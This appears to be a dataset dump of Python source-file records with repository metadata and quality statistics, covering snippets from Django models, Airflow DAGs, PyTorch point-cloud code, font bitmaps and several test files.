[0,3,0,5,0,0,2,0,9],\
[0,0,0,1,0... | 21.125249 | 22 | 0.38274 | 4,054 | 10,626 | 1.00296 | 0.003453 | 0.784555 | 0.723807 | 0.588293 | 0.958436 | 0.902853 | 0.799311 | 0.621003 | 0.512051 | 0.403591 | 0 | 0.420954 | 0.094579 | 10,626 | 502 | 23 | 21.167331 | 0.001663 | 0 | 0 | 0.197211 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.001992 | true | 0 | 0 | 0.001992 | 0.003984 | 0 | 0 | 0 | 1 | null | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
496cf9d45a7840abeb031e02f2b254b24081f7f6 | 4,652 | py | Python | tests/lib/test_fnmatch.py | bbtfr/megfile | 7a0d4bd8fa6f52512e99dfd490bf404fb4f5ede0 | [
"Apache-2.0",
"MIT"
] | 69 | 2021-08-28T15:03:26.000Z | 2022-03-04T23:43:22.000Z | tests/lib/test_fnmatch.py | bbtfr/megfile | 7a0d4bd8fa6f52512e99dfd490bf404fb4f5ede0 | [
"Apache-2.0",
"MIT"
] | 75 | 2021-08-30T02:36:46.000Z | 2022-03-29T07:59:11.000Z | tests/lib/test_fnmatch.py | bbtfr/megfile | 7a0d4bd8fa6f52512e99dfd490bf404fb4f5ede0 | [
"Apache-2.0",
"MIT"
] | 9 | 2021-08-30T10:46:52.000Z | 2022-01-08T08:26:58.000Z | import sys
from megfile.lib import fnmatch
def test_translate():
# wildcard
assert fnmatch.translate('?') == fnmatch._compat(r'.')
assert fnmatch.translate('*') == fnmatch._compat(r'[^/]*')
assert fnmatch.translate('**') == fnmatch._compat(r'.*')
assert fnmatch.translate('**/a') == fnmatch._compa... | 43.476636 | 80 | 0.499785 | 536 | 4,652 | 4.223881 | 0.063433 | 0.321555 | 0.301237 | 0.233657 | 0.887809 | 0.878534 | 0.836131 | 0.833481 | 0.791078 | 0.757509 | 0 | 0.001582 | 0.184652 | 4,652 | 106 | 81 | 43.886792 | 0.595307 | 0.016552 | 0 | 0.119048 | 0 | 0 | 0.146299 | 0 | 0 | 0 | 0 | 0 | 0.690476 | 1 | 0.035714 | false | 0 | 0.02381 | 0 | 0.059524 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
49871bf683f2d7490bf499e5d671809657ab3a0b | 15,439 | py | Python | authentication/models.py | TechnoServe/Caju-Dashboard-v1 | ee5cde55d5700abd6223bb464fec4efa708dfdfc | [
"MIT"
] | null | null | null | authentication/models.py | TechnoServe/Caju-Dashboard-v1 | ee5cde55d5700abd6223bb464fec4efa708dfdfc | [
"MIT"
] | null | null | null | authentication/models.py | TechnoServe/Caju-Dashboard-v1 | ee5cde55d5700abd6223bb464fec4efa708dfdfc | [
"MIT"
] | null | null | null | # -*- encoding: utf-8 -*-
"""
Copyright (c) 2020 - Technoserve
"""
from django.db import models
from django.utils.translation import gettext_lazy as _
from django.core.validators import RegexValidator
from django.contrib.auth.models import User
# Create your models here.
class RemOrganization(models.Model):
class... | 35.573733 | 154 | 0.688581 | 1,823 | 15,439 | 5.660998 | 0.095996 | 0.072384 | 0.127326 | 0.169767 | 0.868023 | 0.842539 | 0.807171 | 0.785756 | 0.753876 | 0.7375 | 0 | 0.027789 | 0.193536 | 15,439 | 434 | 155 | 35.573733 | 0.80106 | 0.228059 | 0 | 0.676976 | 0 | 0 | 0.054463 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.041237 | false | 0 | 0.013746 | 0.041237 | 0.756014 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
7736f0890813776e4a0f32517276ccef50836acf | 104,403 | py | Python | datasets/epa_historical_air_quality/pipelines/epa_historical_air_quality/epa_historical_air_quality_dag.py | arjunsgill/public-datasets-pipelines | 45dd0b2c15821e38f0b7b511c253025fc7497ad0 | [
"Apache-2.0"
] | null | null | null | datasets/epa_historical_air_quality/pipelines/epa_historical_air_quality/epa_historical_air_quality_dag.py | arjunsgill/public-datasets-pipelines | 45dd0b2c15821e38f0b7b511c253025fc7497ad0 | [
"Apache-2.0"
] | null | null | null | datasets/epa_historical_air_quality/pipelines/epa_historical_air_quality/epa_historical_air_quality_dag.py | arjunsgill/public-datasets-pipelines | 45dd0b2c15821e38f0b7b511c253025fc7497ad0 | [
"Apache-2.0"
] | null | null | null | # Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | 96.046918 | 1,716 | 0.664205 | 12,720 | 104,403 | 5.028223 | 0.022327 | 0.044247 | 0.06254 | 0.089901 | 0.963993 | 0.959036 | 0.956175 | 0.934489 | 0.927454 | 0.923404 | 0 | 0.014185 | 0.159344 | 104,403 | 1,086 | 1,717 | 96.135359 | 0.714551 | 0.017126 | 0 | 0.610945 | 0 | 0.092537 | 0.775646 | 0.259813 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.00199 | 0 | 0.00199 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
774d0fef679794770ac8588e28df5cb8cc9749c4 | 3,980 | py | Python | basic/fxy.py | rkneusel9/SwarmOptimization | 5445b6f90ab49339ca0fdb71e98d44e6827c95a8 | [
"MIT"
] | 2 | 2022-01-11T17:14:14.000Z | 2022-03-07T10:22:32.000Z | basic/fxy.py | rkneusel9/SwarmOptimization | 5445b6f90ab49339ca0fdb71e98d44e6827c95a8 | [
"MIT"
] | null | null | null | basic/fxy.py | rkneusel9/SwarmOptimization | 5445b6f90ab49339ca0fdb71e98d44e6827c95a8 | [
"MIT"
] | 1 | 2021-11-24T01:11:49.000Z | 2021-11-24T01:11:49.000Z | #
# file: fxy.py
#
# The basic example from Chapter 2.
#
# RTK, 03-Mar-2020
# Last update: 03-Mar-2020
#
################################################################
import sys
sys.path.append("../")
import numpy as np
from PSO import *
from DE import *
from LinearInertia import *
from Bounds import *
from R... | 27.448276 | 116 | 0.585678 | 652 | 3,980 | 3.567485 | 0.125767 | 0.038693 | 0.034394 | 0.051591 | 0.858555 | 0.858555 | 0.858555 | 0.858555 | 0.852107 | 0.852107 | 0 | 0.048701 | 0.148744 | 3,980 | 144 | 117 | 27.638889 | 0.637839 | 0.042211 | 0 | 0.82243 | 0 | 0 | 0.253348 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.009346 | false | 0 | 0.065421 | 0.009346 | 0.093458 | 0.411215 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 8 |
91f9447ee2712cec94f6134d7f3a7ad812e091da | 6,367 | py | Python | port/modules/font/digiface_it_30.py | diskman88/mpython-desktop-robot | 01cd15fbeeba521ab874cf66f94d3909c4f8c39a | [
"MIT"
] | 53 | 2018-10-15T12:01:24.000Z | 2019-11-22T09:31:02.000Z | port/modules/font/digiface_it_30.py | diskman88/mpython-desktop-robot | 01cd15fbeeba521ab874cf66f94d3909c4f8c39a | [
"MIT"
] | 10 | 2018-10-17T13:42:19.000Z | 2019-11-25T06:42:40.000Z | port/modules/font/digiface_it_30.py | diskman88/mpython-desktop-robot | 01cd15fbeeba521ab874cf66f94d3909c4f8c39a | [
"MIT"
] | 26 | 2018-12-04T03:53:39.000Z | 2019-11-22T03:40:05.000Z | # Code generated by font-to-py.py.
# Font: digi_italic.ttf Char set: .0123456789:
version = '0.26'
def height():
return 30
def max_width():
return 23
def hmap():
return True
def reverse():
return False
def monospaced():
return False
def min_ch():
return 32
def max_c... | 52.188525 | 78 | 0.687608 | 1,468 | 6,367 | 2.966621 | 0.081063 | 0.39403 | 0.245924 | 0.245235 | 0.690471 | 0.650976 | 0.572445 | 0.534558 | 0.49667 | 0.46039 | 0 | 0.353314 | 0.059369 | 6,367 | 121 | 79 | 52.619835 | 0.373852 | 0.012251 | 0 | 0.140187 | 1 | 0.738318 | 0.827575 | 0.820114 | 0 | 1 | 0 | 0 | 0 | 1 | 0.074766 | false | 0 | 0 | 0.065421 | 0.149533 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
62298a7ef72f43769dc524f9fdf4cdabea2013ad | 8,087 | py | Python | fpconv/fpconv.py | lyqun/FPConv | 9fc3a71258550101bec671330c5e97b45725291c | [
"MIT"
] | 129 | 2020-03-13T11:47:18.000Z | 2022-03-01T16:33:47.000Z | fpconv/fpconv.py | lyqun/FPConv | 9fc3a71258550101bec671330c5e97b45725291c | [
"MIT"
] | 20 | 2020-03-13T12:41:06.000Z | 2021-10-06T11:29:05.000Z | fpconv/fpconv.py | lyqun/FPConv | 9fc3a71258550101bec671330c5e97b45725291c | [
"MIT"
] | 18 | 2020-03-14T13:19:41.000Z | 2022-02-25T04:50:30.000Z | import torch
import torch.nn as nn
import torch.nn.functional as F
from torch.nn.parameter import Parameter
from fpconv.pointnet2 import pointnet2_utils
from fpconv.pointnet2 import pytorch_utils as pt_utils
from fpconv import base
relu_alpha = 0.2
class FPConv4x4_BaseBlock(nn.Module):
def __init__(self, npoint,... | 42.78836 | 133 | 0.589217 | 1,154 | 8,087 | 3.880416 | 0.114385 | 0.075034 | 0.062528 | 0.066994 | 0.862662 | 0.849933 | 0.848146 | 0.822242 | 0.810183 | 0.798571 | 0 | 0.025718 | 0.302832 | 8,087 | 189 | 134 | 42.78836 | 0.768535 | 0.12823 | 0 | 0.728682 | 0 | 0 | 0.004356 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.03876 | false | 0 | 0.054264 | 0 | 0.124031 | 0.015504 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
624f5611f7f45b4c021f89f1f9039ee30510708f | 12,646 | py | Python | tests/test_workflow.py | dimtruck/workflow-manager-py | 423befca05ccaf9fecef3ca680c4f21f1fd96d45 | [
"MIT"
] | 2 | 2021-09-14T17:06:46.000Z | 2021-12-30T07:41:40.000Z | tests/test_workflow.py | dimtruck/workflow-manager-py | 423befca05ccaf9fecef3ca680c4f21f1fd96d45 | [
"MIT"
] | 1 | 2018-02-08T12:36:25.000Z | 2018-02-08T12:36:25.000Z | tests/test_workflow.py | dimtruck/workflow-manager-py | 423befca05ccaf9fecef3ca680c4f21f1fd96d45 | [
"MIT"
] | 6 | 2017-09-05T19:39:53.000Z | 2021-12-03T15:54:24.000Z | import example_task
from workflow_manager.manager import Manager
from workflow_manager.task import Task
def test_init():
assert Manager().show_flow() is None
def test_init_with_task():
task_one = example_task.SuccessTask('task 1')
assert Manager(task_one).show_flow().to_dict() == task_one.to_dict()
de... | 28.546275 | 73 | 0.593706 | 1,619 | 12,646 | 4.384805 | 0.039531 | 0.040147 | 0.12706 | 0.150162 | 0.935766 | 0.922524 | 0.909001 | 0.895901 | 0.863079 | 0.832089 | 0 | 0.025884 | 0.266804 | 12,646 | 442 | 74 | 28.61086 | 0.739754 | 0.167958 | 0 | 0.768924 | 0 | 0 | 0.147437 | 0 | 0 | 0 | 0 | 0 | 0.051793 | 1 | 0.051793 | false | 0 | 0.011952 | 0 | 0.063745 | 0.003984 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
62551d8ab4b1f6a8bc7d14afc452ccfa57d167cd | 112 | py | Python | pgdrive/component/road/__init__.py | decisionforce/pgdrive | 19af5d09a40a68a2a5f8b3ac8b40f109e71c26ee | [
"Apache-2.0"
] | 97 | 2020-12-25T06:02:17.000Z | 2022-01-16T06:58:39.000Z | pgdrive/component/road/__init__.py | decisionforce/pgdrive | 19af5d09a40a68a2a5f8b3ac8b40f109e71c26ee | [
"Apache-2.0"
] | 192 | 2020-12-25T07:58:17.000Z | 2021-08-28T10:13:59.000Z | pgdrive/component/road/__init__.py | decisionforce/pgdrive | 19af5d09a40a68a2a5f8b3ac8b40f109e71c26ee | [
"Apache-2.0"
] | 11 | 2020-12-29T11:23:44.000Z | 2021-12-06T23:25:49.000Z | from pgdrive.component.road.road import Road, Route
from pgdrive.component.road.road_network import RoadNetwork
| 37.333333 | 59 | 0.857143 | 16 | 112 | 5.9375 | 0.5 | 0.231579 | 0.421053 | 0.505263 | 0.589474 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.080357 | 112 | 2 | 60 | 56 | 0.92233 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
6572cedff9748de5328ffa2ce408fc6b71f6176e | 23,741 | py | Python | release/stubs/System/IO/Compression.py | YKato521/ironpython-stubs | b1f7c580de48528490b3ee5791b04898be95a9ae | [
"MIT"
] | null | null | null | release/stubs/System/IO/Compression.py | YKato521/ironpython-stubs | b1f7c580de48528490b3ee5791b04898be95a9ae | [
"MIT"
] | null | null | null | release/stubs/System/IO/Compression.py | YKato521/ironpython-stubs | b1f7c580de48528490b3ee5791b04898be95a9ae | [
"MIT"
] | null | null | null | # encoding: utf-8
# module System.IO.Compression calls itself Compression
# from System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
# by generator 1.145
""" NamespaceTracker represent a CLS namespace. """
# no imports
# no functions
# classes
class CompressionLevel(Enum, IComparable... | 28.296782 | 221 | 0.608862 | 2,549 | 23,741 | 5.523342 | 0.110632 | 0.023865 | 0.03182 | 0.040912 | 0.89978 | 0.872931 | 0.852901 | 0.849137 | 0.844165 | 0.840898 | 0 | 0.003085 | 0.317299 | 23,741 | 838 | 222 | 28.330549 | 0.86556 | 0.595257 | 0 | 0.866242 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.343949 | false | 0.343949 | 0 | 0 | 0.490446 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 9 |
65787b68a0b5e1c3c626ba7fd5823a96f53459eb | 38,990 | py | Python | CSZL_Framework2022/CSZLDisplay.py | BNDKG/CSZL_2022 | 2cf55ccff21d54474fa9b55f21b5c204a35e5263 | [
"MIT"
] | null | null | null | CSZL_Framework2022/CSZLDisplay.py | BNDKG/CSZL_2022 | 2cf55ccff21d54474fa9b55f21b5c204a35e5263 | [
"MIT"
] | null | null | null | CSZL_Framework2022/CSZLDisplay.py | BNDKG/CSZL_2022 | 2cf55ccff21d54474fa9b55f21b5c204a35e5263 | [
"MIT"
] | null | null | null | #coding=utf-8
import pandas as pd
import numpy as np
import CSZLData
import matplotlib
import matplotlib.pyplot as plt
from sklearn.utils import shuffle
class CSZLDisplay(object):
"""description of class"""
def Topk_nextopen(self,resultpath):
#df_all = pd.read_csv('./Database/Dailydata.csv',index_... | 41.434644 | 232 | 0.600821 | 4,528 | 38,990 | 4.871025 | 0.066917 | 0.173921 | 0.028564 | 0.044206 | 0.952711 | 0.946591 | 0.941966 | 0.934258 | 0.934077 | 0.927639 | 0 | 0.031032 | 0.266915 | 38,990 | 941 | 233 | 41.434644 | 0.740615 | 0.257861 | 0 | 0.847981 | 0 | 0 | 0.137753 | 0.007432 | 0 | 0 | 0 | 0.001063 | 0 | 1 | 0.009501 | false | 0.004751 | 0.014252 | 0 | 0.028504 | 0.035629 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
659ea91356929f022302c5c496e090adddcab540 | 4,299 | py | Python | Source/CIFAR/utils.py | Theonik/Convnet-demo | ba80f65826cca9485c04ac6322bc752232a8b1b6 | [
"Apache-2.0"
] | null | null | null | Source/CIFAR/utils.py | Theonik/Convnet-demo | ba80f65826cca9485c04ac6322bc752232a8b1b6 | [
"Apache-2.0"
] | null | null | null | Source/CIFAR/utils.py | Theonik/Convnet-demo | ba80f65826cca9485c04ac6322bc752232a8b1b6 | [
"Apache-2.0"
] | null | null | null | import numpy as np
from math import sqrt
def convert_set_to_greyscale(cifar_set, method=0, gamma=1.0):
converted_set = np.empty((cifar_set.shape[0], 1, cifar_set.shape[2], cifar_set.shape[3]), 'float32')
for image_index, image in enumerate(cifar_set):
for row_index, row in enumerate(image[0]):
... | 62.304348 | 104 | 0.531054 | 553 | 4,299 | 3.878843 | 0.122966 | 0.149184 | 0.193939 | 0.268531 | 0.868531 | 0.854545 | 0.854545 | 0.825641 | 0.81958 | 0.685315 | 0 | 0.076731 | 0.348221 | 4,299 | 69 | 105 | 62.304348 | 0.688794 | 0.028146 | 0 | 0.34375 | 0 | 0 | 0.045781 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.03125 | null | null | 0.046875 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
65b938cf609fdca2021e5f09f94aa377807a7c58 | 2,142 | py | Python | notebook/dict_change_key.py | vhn0912/python-snippets | 80b2e1d6b2b8f12ae30d6dbe86d25bb2b3a02038 | [
"MIT"
] | 174 | 2018-05-30T21:14:50.000Z | 2022-03-25T07:59:37.000Z | notebook/dict_change_key.py | vhn0912/python-snippets | 80b2e1d6b2b8f12ae30d6dbe86d25bb2b3a02038 | [
"MIT"
] | 5 | 2019-08-10T03:22:02.000Z | 2021-07-12T20:31:17.000Z | notebook/dict_change_key.py | vhn0912/python-snippets | 80b2e1d6b2b8f12ae30d6dbe86d25bb2b3a02038 | [
"MIT"
] | 53 | 2018-04-27T05:26:35.000Z | 2022-03-25T07:59:37.000Z | d = {'k1': 1, 'k2': 2, 'k3': 3}
d['k10'] = d['k1']
del d['k1']
print(d)
# {'k2': 2, 'k3': 3, 'k10': 1}
d = {'k1': 1, 'k2': 2, 'k3': 3}
print(d.pop('k1'))
# 1
print(d)
# {'k2': 2, 'k3': 3}
d = {'k1': 1, 'k2': 2, 'k3': 3}
d['k10'] = d.pop('k1')
print(d)
# {'k2': 2, 'k3': 3, 'k10': 1}
d = {'k1': 1, 'k2': 2, 'k3':... | 20.796117 | 72 | 0.521942 | 415 | 2,142 | 2.539759 | 0.06506 | 0.085389 | 0.132827 | 0.159393 | 0.950664 | 0.93074 | 0.891841 | 0.891841 | 0.858634 | 0.783681 | 0 | 0.137892 | 0.180672 | 2,142 | 102 | 73 | 21 | 0.462678 | 0.216153 | 0 | 0.571429 | 0 | 0 | 0.10006 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.071429 | false | 0 | 0 | 0 | 0.071429 | 0.303571 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
02b6b7a182395dbb970279f055b75b84fcc0665e | 1,219 | py | Python | tests/plugins/test_ltv_lsm_lv.py | hymer-up/streamlink | f09bf6e04cddc78eceb9ded655f716ef3ee4b84f | [
"BSD-2-Clause"
] | 5 | 2017-03-21T19:43:17.000Z | 2018-10-03T14:04:29.000Z | tests/plugins/test_ltv_lsm_lv.py | hymer-up/streamlink | f09bf6e04cddc78eceb9ded655f716ef3ee4b84f | [
"BSD-2-Clause"
] | 7 | 2016-10-13T23:29:31.000Z | 2018-06-28T14:04:32.000Z | tests/plugins/test_ltv_lsm_lv.py | bumplzz69/streamlink | 34abc43875d7663ebafa241573dece272e93d88b | [
"BSD-2-Clause"
] | 2 | 2021-02-09T14:29:21.000Z | 2021-05-28T11:10:34.000Z | import unittest
from streamlink.plugins.ltv_lsm_lv import LtvLsmLv
class TestPluginLtvLsmLv(unittest.TestCase):
def test_can_handle_url(self):
self.assertTrue(LtvLsmLv.can_handle_url("https://ltv.lsm.lv/lv/tieshraide/example/"))
self.assertTrue(LtvLsmLv.can_handle_url("http://ltv.lsm.lv/lv/tieshr... | 55.409091 | 102 | 0.724364 | 175 | 1,219 | 4.857143 | 0.165714 | 0.148235 | 0.197647 | 0.282353 | 0.868235 | 0.823529 | 0.812941 | 0.812941 | 0.796471 | 0.796471 | 0 | 0.00552 | 0.108285 | 1,219 | 21 | 103 | 58.047619 | 0.776449 | 0 | 0 | 0 | 0 | 0 | 0.311731 | 0 | 0 | 0 | 0 | 0 | 0.705882 | 1 | 0.117647 | false | 0 | 0.117647 | 0 | 0.294118 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
02c216866f75efc46d0d664236cd942d9adb4921 | 649 | py | Python | sdk/python/pulumi_google_native/containeranalysis/v1alpha1/__init__.py | AaronFriel/pulumi-google-native | 75d1cda425e33d4610348972cd70bddf35f1770d | [
"Apache-2.0"
] | 44 | 2021-04-18T23:00:48.000Z | 2022-02-14T17:43:15.000Z | sdk/python/pulumi_google_native/containeranalysis/v1alpha1/__init__.py | AaronFriel/pulumi-google-native | 75d1cda425e33d4610348972cd70bddf35f1770d | [
"Apache-2.0"
] | 354 | 2021-04-16T16:48:39.000Z | 2022-03-31T17:16:39.000Z | sdk/python/pulumi_google_native/containeranalysis/v1alpha1/__init__.py | AaronFriel/pulumi-google-native | 75d1cda425e33d4610348972cd70bddf35f1770d | [
"Apache-2.0"
] | 8 | 2021-04-24T17:46:51.000Z | 2022-01-05T10:40:21.000Z | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
from ... import _utilities
import typing
# Export this package's modules as members:
from ._enums import *
from .get_note import *
from .get_note_iam_p... | 30.904762 | 80 | 0.768875 | 98 | 649 | 4.867347 | 0.44898 | 0.251572 | 0.188679 | 0.238994 | 0.360587 | 0.129979 | 0 | 0 | 0 | 0 | 0 | 0.001815 | 0.151002 | 649 | 20 | 81 | 32.45 | 0.863884 | 0.312789 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
02de662220a766e589d3bc5ef62b920d69c494c2 | 18,235 | py | Python | jiant/tasks/senteval_probing.py | pitrack/jiant | 787e78baa50e4b6eb19f809934d161cab31a2c7d | [
"MIT"
] | null | null | null | jiant/tasks/senteval_probing.py | pitrack/jiant | 787e78baa50e4b6eb19f809934d161cab31a2c7d | [
"MIT"
] | null | null | null | jiant/tasks/senteval_probing.py | pitrack/jiant | 787e78baa50e4b6eb19f809934d161cab31a2c7d | [
"MIT"
] | null | null | null | """
Set of probing tasks that were added to Senteval Probing.
Paper: https://arxiv.org/abs/1805.01070
"""
import collections
import itertools
import json
import logging as log
import os
import numpy as np
import pandas as pd
import torch
# Fields for instance processing
from jiant.utils.data_loaders import tokenize... | 35.895669 | 90 | 0.614807 | 2,315 | 18,235 | 4.562851 | 0.070842 | 0.053015 | 0.034081 | 0.042602 | 0.83073 | 0.820695 | 0.820695 | 0.820695 | 0.820695 | 0.820695 | 0 | 0.007742 | 0.256265 | 18,235 | 507 | 91 | 35.966469 | 0.771125 | 0.026049 | 0 | 0.81117 | 0 | 0 | 0.059329 | 0.015017 | 0 | 0 | 0 | 0 | 0 | 1 | 0.151596 | false | 0 | 0.029255 | 0.071809 | 0.305851 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
f307927fa7c7cd2cabaa9562cafd666cfea4847d | 206,915 | py | Python | sbaas/analysis/analysis_stage01_isotopomer/stage01_isotopomer_execute.py | SBRG/sbaas | 9df76bbffdd620cf8566744a2b0503935998fbe0 | [
"Apache-2.0"
] | 1 | 2017-05-13T04:35:08.000Z | 2017-05-13T04:35:08.000Z | sbaas/analysis/analysis_stage01_isotopomer/stage01_isotopomer_execute.py | SBRG/sbaas | 9df76bbffdd620cf8566744a2b0503935998fbe0 | [
"Apache-2.0"
] | null | null | null | sbaas/analysis/analysis_stage01_isotopomer/stage01_isotopomer_execute.py | SBRG/sbaas | 9df76bbffdd620cf8566744a2b0503935998fbe0 | [
"Apache-2.0"
] | 2 | 2017-02-23T19:32:38.000Z | 2020-01-14T19:13:05.000Z | '''quantitative metabolomics analysis class'''
from sbaas.analysis.analysis_base import *
from .stage01_isotopomer_query import *
from .stage01_isotopomer_io import *
from sbaas.resources.molmass import Formula
from sbaas.resources.matplot import matplot
import re,copy
from scipy.stats import mode
from scipy.io impo... | 65.708161 | 375 | 0.569678 | 19,144 | 206,915 | 5.865023 | 0.044818 | 0.037246 | 0.022577 | 0.034271 | 0.832339 | 0.805362 | 0.772301 | 0.747497 | 0.731893 | 0.714241 | 0 | 0.012871 | 0.351888 | 206,915 | 3,148 | 376 | 65.729034 | 0.82439 | 0.149491 | 0 | 0.716251 | 0 | 0 | 0.050857 | 0.005691 | 0.00086 | 0 | 0 | 0.000318 | 0 | 1 | 0.018057 | false | 0 | 0.003439 | 0 | 0.030095 | 0.043422 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
b863a6c45da3cc66b9aafd17380a1b9266d1ca47 | 91 | py | Python | pybullet-gym-rocus/pybulletgym_rocus/envs/assets/robots/franka_panda/__init__.py | nbfigueroa/RoCUS | f1e1a538a2d0d12d307d9a003c4a2d5bcadcb30f | [
"MIT"
] | 7 | 2020-11-20T20:45:49.000Z | 2021-12-14T19:27:20.000Z | urdf/franka_panda/__init__.py | michaelyeah7/roblax | 7f1503986fd50c8336b8b9e7bb1d2f4be4e84b08 | [
"MIT"
] | 1 | 2021-03-03T03:57:21.000Z | 2021-03-03T03:57:21.000Z | urdf/franka_panda/__init__.py | michaelyeah7/roblax | 7f1503986fd50c8336b8b9e7bb1d2f4be4e84b08 | [
"MIT"
